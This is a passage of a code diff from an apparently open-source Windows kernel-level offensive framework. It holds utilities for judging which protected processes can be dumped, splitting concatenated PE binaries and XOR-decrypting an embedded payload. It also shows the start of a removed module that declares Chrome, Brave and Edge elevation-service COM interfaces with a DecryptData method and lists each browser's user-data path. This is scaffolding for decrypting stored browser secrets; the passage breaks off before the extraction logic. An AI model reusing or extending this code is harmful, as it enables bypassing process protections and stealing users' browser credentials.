|
||||||
return L"[Unknown]";
|
|
||||||
}
|
|
||||||
|
|
||||||
PROCESSENTRY32W pe{};
|
|
||||||
pe.dwSize = sizeof(PROCESSENTRY32W);
|
|
||||||
|
|
||||||
if (Process32FirstW(hSnapshot, &pe)) {
|
|
||||||
do {
|
|
||||||
if (pe.th32ProcessID == pid) {
|
|
||||||
CloseHandle(hSnapshot);
|
|
||||||
return std::wstring(pe.szExeFile);
|
|
||||||
}
|
|
||||||
} while (Process32NextW(hSnapshot, &pe));
|
|
||||||
}
|
|
||||||
|
|
||||||
CloseHandle(hSnapshot);
|
|
||||||
return L"[Unknown]";
|
|
||||||
}
|
|
||||||
|
|
||||||
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress,
|
|
||||||
UCHAR protectionLevel, UCHAR signerType) noexcept
|
|
||||||
{
|
|
||||||
// Cache management - refresh every 30 seconds for performance
|
|
||||||
const DWORD currentTick = static_cast<DWORD>(GetTickCount64());
|
|
||||||
if (currentTick - g_lastCacheUpdate > 30000) {
|
|
||||||
g_processCache.clear();
|
|
||||||
g_lastCacheUpdate = currentTick;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check cache first - significant performance improvement
|
|
||||||
if (const auto cacheIt = g_processCache.find(pid); cacheIt != g_processCache.end()) {
|
|
||||||
return cacheIt->second;
|
|
||||||
}
|
|
||||||
|
|
||||||
std::wstring processName = L"Unknown";
|
|
||||||
|
|
||||||
// Multiple resolution strategies for maximum reliability
|
|
||||||
if (const HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid)) {
|
|
||||||
wchar_t imagePath[MAX_PATH] = {};
|
|
||||||
DWORD bufferSize = MAX_PATH;
|
|
||||||
|
|
||||||
// Try QueryFullProcessImageName first - most reliable method
|
|
||||||
if (QueryFullProcessImageNameW(hProcess, 0, imagePath, &bufferSize)) {
|
|
||||||
const std::wstring fullPath(imagePath);
|
|
||||||
const size_t lastSlash = fullPath.find_last_of(L'\\');
|
|
||||||
processName = (lastSlash != std::wstring::npos) ?
|
|
||||||
fullPath.substr(lastSlash + 1) : fullPath;
|
|
||||||
}
|
|
||||||
|
|
||||||
CloseHandle(hProcess);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Fallback to snapshot-based resolution
|
|
||||||
if (processName == L"Unknown") {
|
|
||||||
processName = GetProcessName(pid);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Cache successful resolutions
|
|
||||||
if (processName != L"Unknown" && processName != L"[Unknown]") {
|
|
||||||
g_processCache[pid] = processName;
|
|
||||||
}
|
|
||||||
|
|
||||||
return processName;
|
|
||||||
}
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// PROTECTION LEVEL PARSING WITH OPTIMIZED LOOKUP TABLES
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
[[nodiscard]] std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept
|
|
||||||
{
|
|
||||||
// Static lookup table - compile-time initialization for optimal performance
|
|
||||||
static const std::unordered_map<std::wstring, UCHAR> levels = {
|
|
||||||
{L"none", static_cast<UCHAR>(PS_PROTECTED_TYPE::None)},
|
|
||||||
{L"ppl", static_cast<UCHAR>(PS_PROTECTED_TYPE::ProtectedLight)},
|
|
||||||
{L"pp", static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)}
|
|
||||||
};
|
|
||||||
|
|
||||||
if (protectionLevel.empty()) return std::nullopt;
|
|
||||||
|
|
||||||
// Single allocation for case conversion
|
|
||||||
std::wstring lower = protectionLevel;
|
|
||||||
std::transform(lower.begin(), lower.end(), lower.begin(),
|
|
||||||
[](wchar_t c) { return std::towlower(c); });
|
|
||||||
|
|
||||||
if (const auto it = levels.find(lower); it != levels.end()) {
|
|
||||||
return it->second;
|
|
||||||
}
|
|
||||||
|
|
||||||
return std::nullopt;
|
|
||||||
}
|
|
||||||
|
|
||||||
[[nodiscard]] std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept
|
|
||||||
{
|
|
||||||
if (signerType.empty()) return std::nullopt;
|
|
||||||
|
|
||||||
// Convert to lowercase for case-insensitive comparison
|
|
||||||
std::wstring lower = signerType;
|
|
||||||
std::transform(lower.begin(), lower.end(), lower.begin(),
|
|
||||||
[](wchar_t c) { return std::towlower(c); });
|
|
||||||
|
|
||||||
// Direct string comparisons - fastest for small datasets
|
|
||||||
if (lower == L"none") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::None);
|
|
||||||
if (lower == L"authenticode") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Authenticode);
|
|
||||||
if (lower == L"codegen") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::CodeGen);
|
|
||||||
if (lower == L"antimalware") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Antimalware);
|
|
||||||
if (lower == L"lsa") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Lsa);
|
|
||||||
if (lower == L"windows") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Windows);
|
|
||||||
if (lower == L"wintcb") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinTcb);
|
|
||||||
if (lower == L"winsystem") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinSystem);
|
|
||||||
if (lower == L"app") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::App);
|
|
||||||
|
|
||||||
return std::nullopt;
|
|
||||||
}
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// STRING REPRESENTATION FUNCTIONS WITH STATIC STORAGE
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
[[nodiscard]] const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept
|
|
||||||
{
|
|
||||||
// Static strings eliminate repeated allocations
|
|
||||||
static const std::wstring none = L"None";
|
|
||||||
static const std::wstring ppl = L"PPL";
|
|
||||||
static const std::wstring pp = L"PP";
|
|
||||||
static const std::wstring unknown = L"Unknown";
|
|
||||||
|
|
||||||
switch (static_cast<PS_PROTECTED_TYPE>(protectionLevel)) {
|
|
||||||
case PS_PROTECTED_TYPE::None: return none.c_str();
|
|
||||||
case PS_PROTECTED_TYPE::ProtectedLight: return ppl.c_str();
|
|
||||||
case PS_PROTECTED_TYPE::Protected: return pp.c_str();
|
|
||||||
default: return unknown.c_str();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[[nodiscard]] const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept
|
|
||||||
{
|
|
||||||
// Jump table approach for maximum performance
|
|
||||||
static const std::wstring none = L"None";
|
|
||||||
static const std::wstring authenticode = L"Authenticode";
|
|
||||||
static const std::wstring codegen = L"CodeGen";
|
|
||||||
static const std::wstring antimalware = L"Antimalware";
|
|
||||||
static const std::wstring lsa = L"Lsa";
|
|
||||||
static const std::wstring windows = L"Windows";
|
|
||||||
static const std::wstring wintcb = L"WinTcb";
|
|
||||||
static const std::wstring winsystem = L"WinSystem";
|
|
||||||
static const std::wstring app = L"App";
|
|
||||||
static const std::wstring unknown = L"Unknown";
|
|
||||||
|
|
||||||
switch (static_cast<PS_PROTECTED_SIGNER>(signerType)) {
|
|
||||||
case PS_PROTECTED_SIGNER::None: return none.c_str();
|
|
||||||
case PS_PROTECTED_SIGNER::Authenticode: return authenticode.c_str();
|
|
||||||
case PS_PROTECTED_SIGNER::CodeGen: return codegen.c_str();
|
|
||||||
case PS_PROTECTED_SIGNER::Antimalware: return antimalware.c_str();
|
|
||||||
case PS_PROTECTED_SIGNER::Lsa: return lsa.c_str();
|
|
||||||
case PS_PROTECTED_SIGNER::Windows: return windows.c_str();
|
|
||||||
case PS_PROTECTED_SIGNER::WinTcb: return wintcb.c_str();
|
|
||||||
case PS_PROTECTED_SIGNER::WinSystem: return winsystem.c_str();
|
|
||||||
case PS_PROTECTED_SIGNER::App: return app.c_str();
|
|
||||||
default: return unknown.c_str();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[[nodiscard]] const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept
|
|
||||||
{
|
|
||||||
// Static buffer for unknown signature levels - thread-safe
|
|
||||||
switch (signatureLevel) {
|
|
||||||
case 0x00: return L"None";
|
|
||||||
case 0x08: return L"App";
|
|
||||||
case 0x0c: return L"Standard"; // Standard DLL verification
|
|
||||||
case 0x1c: return L"System"; // System DLL verification
|
|
||||||
case 0x1e: return L"Kernel"; // Kernel EXE verification
|
|
||||||
case 0x3c: return L"Service"; // Windows service EXE
|
|
||||||
case 0x3e: return L"Critical"; // Critical system EXE
|
|
||||||
case 0x07:
|
|
||||||
case 0x37: return L"WinSystem";
|
|
||||||
default: {
|
|
||||||
static thread_local wchar_t buf[32];
|
|
||||||
swprintf_s(buf, L"Unknown (0x%02x)", signatureLevel);
|
|
||||||
return buf;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// PROCESS DUMPABILITY ANALYSIS WITH HEURISTICS
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
[[nodiscard]] ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept
|
|
||||||
{
|
|
||||||
ProcessDumpability result{false, L""};
|
|
||||||
|
|
||||||
// Known undumpable system processes - hardcoded for performance
|
|
||||||
static const std::unordered_set<DWORD> undumpablePids = {
|
|
||||||
4, // System process
|
|
||||||
188, // Secure System
|
|
||||||
232, // Registry process
|
|
||||||
3052 // Memory Compression
|
|
||||||
};
|
|
||||||
|
|
||||||
static const std::unordered_set<std::wstring> undumpableNames = {
|
|
||||||
L"System",
|
|
||||||
L"Secure System",
|
|
||||||
L"Registry",
|
|
||||||
L"Memory Compression"
|
|
||||||
};
|
|
||||||
|
|
||||||
if (undumpablePids.contains(pid)) {
|
|
||||||
result.Reason = L"System kernel process - undumpable by design";
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (undumpableNames.contains(processName)) {
|
|
||||||
result.Reason = L"Critical system process - protected by kernel";
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Additional heuristics for process dumpability
|
|
||||||
if (processName == L"[Unknown]" || processName.empty()) {
|
|
||||||
result.Reason = L"Process name unknown - likely kernel process";
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Assume process is dumpable if not in exclusion lists
|
|
||||||
result.CanDump = true;
|
|
||||||
result.Reason = L"Process appears dumpable with proper privileges";
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// HEX STRING PROCESSING UTILITIES
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
[[nodiscard]] bool IsValidHexString(const std::wstring& hexString) noexcept
|
|
||||||
{
|
|
||||||
if (hexString.empty() || (hexString.length() % 2) != 0) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
return std::all_of(hexString.begin(), hexString.end(),
|
|
||||||
[](wchar_t c) {
|
|
||||||
return (c >= L'0' && c <= L'9') ||
|
|
||||||
(c >= L'A' && c <= L'F') ||
|
|
||||||
(c >= L'a' && c <= L'f');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept
|
|
||||||
{
|
|
||||||
if (!IsValidHexString(hexString)) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
bytes.clear();
|
|
||||||
bytes.reserve(hexString.length() / 2);
|
|
||||||
|
|
||||||
for (size_t i = 0; i < hexString.length(); i += 2) {
|
|
||||||
const wchar_t highNibble = hexString[i];
|
|
||||||
const wchar_t lowNibble = hexString[i + 1];
|
|
||||||
|
|
||||||
auto hexToByte = [](wchar_t c) -> BYTE {
|
|
||||||
if (c >= L'0' && c <= L'9') return static_cast<BYTE>(c - L'0');
|
|
||||||
if (c >= L'A' && c <= L'F') return static_cast<BYTE>(c - L'A' + 10);
|
|
||||||
if (c >= L'a' && c <= L'f') return static_cast<BYTE>(c - L'a' + 10);
|
|
||||||
return 0;
|
|
||||||
};
|
|
||||||
|
|
||||||
const BYTE byte = (hexToByte(highNibble) << 4) | hexToByte(lowNibble);
|
|
||||||
bytes.push_back(byte);
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// PE BINARY PARSING AND MANIPULATION
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
[[nodiscard]] std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset) noexcept
|
|
||||||
{
|
|
||||||
try {
|
|
||||||
if (data.size() < offset + 64) return std::nullopt; // Not enough data for DOS header
|
|
||||||
|
|
||||||
// Verify DOS signature "MZ"
|
|
||||||
if (data[offset] != 'M' || data[offset + 1] != 'Z') {
|
|
||||||
return std::nullopt;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get PE header offset from DOS header
|
|
||||||
DWORD pe_offset;
|
|
||||||
std::memcpy(&pe_offset, &data[offset + 60], sizeof(DWORD));
|
|
||||||
|
|
||||||
const size_t pe_header_start = offset + pe_offset;
|
|
||||||
if (data.size() < pe_header_start + 24) return std::nullopt;
|
|
||||||
|
|
||||||
// Verify PE signature "PE\0\0"
|
|
||||||
if (std::memcmp(&data[pe_header_start], "PE\0\0", 4) != 0) {
|
|
||||||
return std::nullopt;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse COFF header for section count
|
|
||||||
WORD number_of_sections;
|
|
||||||
std::memcpy(&number_of_sections, &data[pe_header_start + 6], sizeof(WORD));
|
|
||||||
|
|
||||||
if (number_of_sections == 0) return std::nullopt;
|
|
||||||
|
|
||||||
// Calculate section table location
|
|
||||||
WORD optional_header_size;
|
|
||||||
std::memcpy(&optional_header_size, &data[pe_header_start + 20], sizeof(WORD));
|
|
||||||
|
|
||||||
const size_t section_table_offset = pe_header_start + 24 + optional_header_size;
|
|
||||||
constexpr size_t section_header_size = 40;
|
|
||||||
|
|
||||||
if (data.size() < section_table_offset + (number_of_sections * section_header_size)) {
|
|
||||||
return std::nullopt;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Find the highest file offset + size from all sections
|
|
||||||
size_t max_end = 0;
|
|
||||||
for (WORD i = 0; i < number_of_sections; ++i) {
|
|
||||||
const size_t sh_offset = section_table_offset + (i * section_header_size);
|
|
||||||
|
|
||||||
if (data.size() < sh_offset + 24) {
|
|
||||||
return std::nullopt;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD size_of_raw, pointer_to_raw;
|
|
||||||
std::memcpy(&size_of_raw, &data[sh_offset + 16], sizeof(DWORD));
|
|
||||||
std::memcpy(&pointer_to_raw, &data[sh_offset + 20], sizeof(DWORD));
|
|
||||||
|
|
||||||
if (pointer_to_raw == 0) continue; // Skip sections without raw data
|
|
||||||
|
|
||||||
const size_t section_end = pointer_to_raw + size_of_raw;
|
|
||||||
max_end = std::max(max_end, section_end);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (max_end > 0) {
|
|
||||||
const size_t header_end = section_table_offset + number_of_sections * section_header_size;
|
|
||||||
const size_t file_end = std::max(max_end, header_end);
|
|
||||||
return std::min(file_end, data.size());
|
|
||||||
}
|
|
||||||
|
|
||||||
return std::nullopt;
|
|
||||||
|
|
||||||
} catch (...) {
|
|
||||||
return std::nullopt;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
bool SplitCombinedPE(const std::vector<BYTE>& combined,
|
|
||||||
std::vector<BYTE>& first,
|
|
||||||
std::vector<BYTE>& second) noexcept
|
|
||||||
{
|
|
||||||
try {
|
|
||||||
if (combined.empty()) return false;
|
|
||||||
|
|
||||||
// Determine exact size of first PE file
|
|
||||||
const auto first_size = GetPEFileLength(combined, 0);
|
|
||||||
|
|
||||||
if (!first_size || *first_size <= 0 || *first_size >= combined.size()) {
|
|
||||||
// Fallback: search for next "MZ" signature
|
|
||||||
constexpr size_t search_start = 0x200;
|
|
||||||
const size_t search_offset = (combined.size() > search_start) ? search_start : 0;
|
|
||||||
|
|
||||||
for (size_t i = search_offset; i < combined.size() - 1; ++i) {
|
|
||||||
if (combined[i] == 'M' && combined[i + 1] == 'Z') {
|
|
||||||
// Found potential second PE
|
|
||||||
first.assign(combined.begin(), combined.begin() + i);
|
|
||||||
second.assign(combined.begin() + i, combined.end());
|
|
||||||
return !first.empty() && !second.empty();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Split at calculated boundary
|
|
||||||
const size_t split_point = *first_size;
|
|
||||||
if (split_point >= combined.size()) return false;
|
|
||||||
|
|
||||||
first.assign(combined.begin(), combined.begin() + split_point);
|
|
||||||
second.assign(combined.begin() + split_point, combined.end());
|
|
||||||
|
|
||||||
return !first.empty() && !second.empty();
|
|
||||||
|
|
||||||
} catch (...) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// XOR DECRYPTION UTILITY
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
[[nodiscard]] std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
|
|
||||||
const std::array<BYTE, 7>& key) noexcept
|
|
||||||
{
|
|
||||||
if (encryptedData.empty()) return {};
|
|
||||||
|
|
||||||
std::vector<BYTE> decrypted;
|
|
||||||
decrypted.reserve(encryptedData.size());
|
|
||||||
|
|
||||||
for (size_t i = 0; i < encryptedData.size(); ++i) {
|
|
||||||
const BYTE decrypted_byte = encryptedData[i] ^ key[i % key.size()];
|
|
||||||
decrypted.push_back(decrypted_byte);
|
|
||||||
}
|
|
||||||
|
|
||||||
return decrypted;
|
|
||||||
}
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// KERNEL ADDRESS UTILITIES
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
[[nodiscard]] std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept
|
|
||||||
{
|
|
||||||
// Implementation depends on kernel driver communication
|
|
||||||
// This is a placeholder for the actual kernel base address retrieval
|
|
||||||
return std::nullopt;
|
|
||||||
}
|
|
||||||
|
|
||||||
} // namespace Utils
|
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// common.cpp - Core system utilities and dynamic API management
|
// common.cpp - Core system utilities and dynamic API management
|
||||||
// Implements service management, system path resolution, and Windows API abstraction
|
// Implements service management, system path resolution, and Windows API abstraction
|
||||||
|
|
||||||
|
|||||||
@@ -1,933 +0,0 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// kvc_crypt.cpp
|
|
||||||
#include <Windows.h>
|
|
||||||
#include <ShlObj.h>
|
|
||||||
#include <wrl/client.h>
|
|
||||||
#include <bcrypt.h>
|
|
||||||
#include <Wincrypt.h>
|
|
||||||
|
|
||||||
#include <fstream>
|
|
||||||
#include <sstream>
|
|
||||||
#include <iomanip>
|
|
||||||
#include <vector>
|
|
||||||
#include <tlhelp32.h>
|
|
||||||
#include <string>
|
|
||||||
#include <algorithm>
|
|
||||||
#include <memory>
|
|
||||||
#include <optional>
|
|
||||||
#include <stdexcept>
|
|
||||||
#include <filesystem>
|
|
||||||
#include <unordered_map>
|
|
||||||
|
|
||||||
#include "SelfLoader.h"
|
|
||||||
#include "winsqlite3.h"
|
|
||||||
|
|
||||||
#pragma comment(lib, "Crypt32.lib")
|
|
||||||
#pragma comment(lib, "bcrypt.lib")
|
|
||||||
#pragma comment(lib, "ole32.lib")
|
|
||||||
#pragma comment(lib, "shell32.lib")
|
|
||||||
|
|
||||||
#ifndef NT_SUCCESS
|
|
||||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
namespace fs = std::filesystem;
|
|
||||||
|
|
||||||
// Simplified string utilities for essential conversions only
|
|
||||||
namespace StringUtils
|
|
||||||
{
|
|
||||||
// Convert filesystem path to API-compatible string
|
|
||||||
inline std::string path_to_string(const fs::path& path)
|
|
||||||
{
|
|
||||||
return path.string();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// COM Interface Protection Levels for Browser Elevation Services
|
|
||||||
enum class ProtectionLevel
|
|
||||||
{
|
|
||||||
None = 0,
|
|
||||||
PathValidationOld = 1,
|
|
||||||
PathValidation = 2,
|
|
||||||
Max = 3
|
|
||||||
};
|
|
||||||
|
|
||||||
// Chrome/Brave Base Elevator Interface - COM interop for browser security services
|
|
||||||
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
|
||||||
IOriginalBaseElevator : public IUnknown
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
|
||||||
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
|
||||||
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Edge Elevator Base Interface - placeholder methods for compatibility
|
|
||||||
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
|
|
||||||
IEdgeElevatorBase_Placeholder : public IUnknown
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
|
|
||||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
|
|
||||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Edge Intermediate Elevator Interface - extends base functionality
|
|
||||||
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
|
||||||
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
|
||||||
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
|
||||||
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Edge Final Elevator Interface - complete implementation
|
|
||||||
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
|
|
||||||
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};
|
|
||||||
|
|
||||||
namespace SecurityComponents
|
|
||||||
{
|
|
||||||
class PipeLogger;
|
|
||||||
|
|
||||||
namespace Utils
|
|
||||||
{
|
|
||||||
// Get Local AppData folder path with comprehensive error handling
|
|
||||||
fs::path GetLocalAppDataPath()
|
|
||||||
{
|
|
||||||
PWSTR path = nullptr;
|
|
||||||
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
|
|
||||||
{
|
|
||||||
fs::path result = path;
|
|
||||||
CoTaskMemFree(path);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
throw std::runtime_error("Failed to get Local AppData path.");
|
|
||||||
}
|
|
||||||
|
|
||||||
// Base64 decode utility for processing encrypted keys
|
|
||||||
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
|
|
||||||
{
|
|
||||||
DWORD size = 0;
|
|
||||||
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
|
|
||||||
return std::nullopt;
|
|
||||||
|
|
||||||
std::vector<uint8_t> data(size);
|
|
||||||
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
|
|
||||||
return std::nullopt;
|
|
||||||
|
|
||||||
return data;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Convert binary data to hex string for diagnostic logging
|
|
||||||
std::string BytesToHexString(const std::vector<uint8_t>& bytes)
|
|
||||||
{
|
|
||||||
std::ostringstream oss;
|
|
||||||
oss << std::hex << std::setfill('0');
|
|
||||||
for (uint8_t byte : bytes)
|
|
||||||
oss << std::setw(2) << static_cast<int>(byte);
|
|
||||||
return oss.str();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Escape JSON strings for safe output serialization
|
|
||||||
std::string EscapeJson(const std::string& s)
|
|
||||||
{
|
|
||||||
std::ostringstream o;
|
|
||||||
for (char c : s)
|
|
||||||
{
|
|
||||||
switch (c)
|
|
||||||
{
|
|
||||||
case '"': o << "\\\""; break;
|
|
||||||
case '\\': o << "\\\\"; break;
|
|
||||||
case '\b': o << "\\b"; break;
|
|
||||||
case '\f': o << "\\f"; break;
|
|
||||||
case '\n': o << "\\n"; break;
|
|
||||||
case '\r': o << "\\r"; break;
|
|
||||||
case '\t': o << "\\t"; break;
|
|
||||||
default:
|
|
||||||
if ('\x00' <= c && c <= '\x1f')
|
|
||||||
{
|
|
||||||
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
o << c;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return o.str();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
namespace Browser
|
|
||||||
{
|
|
||||||
// Browser configuration structure for multi-platform support
|
|
||||||
struct Config
|
|
||||||
{
|
|
||||||
std::string name;
|
|
||||||
std::wstring processName;
|
|
||||||
CLSID clsid;
|
|
||||||
IID iid;
|
|
||||||
fs::path userDataSubPath;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Get comprehensive browser configurations mapping
|
|
||||||
const std::unordered_map<std::string, Config>& GetConfigs()
|
|
||||||
{
|
|
||||||
static const std::unordered_map<std::string, Config> browser_configs = {
|
|
||||||
{"chrome", {"Chrome", L"chrome.exe",
|
|
||||||
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
|
|
||||||
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
|
|
||||||
fs::path("Google") / "Chrome" / "User Data"}},
|
|
||||||
{"brave", {"Brave", L"brave.exe",
|
|
||||||
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
|
|
||||||
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
|
|
||||||
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
|
|
||||||
{"edge", {"Edge", L"msedge.exe",
|
|
||||||
